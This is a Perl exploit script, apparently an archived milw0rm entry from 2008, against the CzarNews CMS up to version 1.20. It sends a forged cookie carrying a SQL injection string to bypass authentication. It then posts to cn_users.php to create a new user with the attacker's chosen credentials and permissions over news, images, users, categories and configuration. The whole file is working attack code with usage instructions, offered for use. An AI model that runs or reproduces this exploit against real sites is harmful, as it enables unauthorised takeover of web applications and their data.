66 lines
No EOL
2 KiB
Perl
Executable file
66 lines
No EOL
2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# ----------------------------------------------------------
|
|
# CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit
|
|
# Perl Exploit - Add a new admin with your credentials!
|
|
# Discovered On: 15/09/2008
|
|
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
|
|
# ----------------------------------------------------------
|
|
# Usage: perl http://localhost/cms StAkeR obscure
|
|
# ----------------------------------------------------------
|
|
|
|
use strict;
|
|
use LWP::UserAgent;
|
|
|
|
my $email = 'some@example.net';
|
|
my ($hostname,$username,$password) = @ARGV;
|
|
my $request = undef;
|
|
my $http_s = new LWP::UserAgent or die $!;
|
|
|
|
$hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
|
|
banner() unless $username and $password;
|
|
|
|
$http_s->agent("Mozilla/4.5 [en] (Win95; U)");
|
|
$http_s->timeout(1);
|
|
$http_s->default_header('Cookie' => "recook=' or '1=1,' or '1=1");
|
|
|
|
$request = $http_s->post($hostname."/cn_users.php",
|
|
[
|
|
user => $username,
|
|
pass => $password,
|
|
email => $email,
|
|
allcats => "all",
|
|
admin => "off",
|
|
news => "on",
|
|
images => "on",
|
|
users => "on",
|
|
categories => "on",
|
|
config => "on",
|
|
words => "on",
|
|
op => "add",
|
|
id => '',
|
|
go => "true",
|
|
submit => "Add+User"
|
|
]);
|
|
|
|
if($request->is_success)
|
|
{
|
|
if($request->content =~ /has been added/i)
|
|
{
|
|
print "[+] Added New Administrator: $username & $password\n";
|
|
}
|
|
else
|
|
{
|
|
print "[!] Exploit Failed!\n";
|
|
print "[!] Site Not Vulnerable\n";
|
|
}
|
|
}
|
|
|
|
|
|
sub banner
|
|
{
|
|
print "[+] CzarNews <= v1.20 Remote SQL Injection Exploit (add new admin)\n";
|
|
print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
|
|
return exit;
|
|
}
|
|
|
|
# milw0rm.com [2008-09-15] |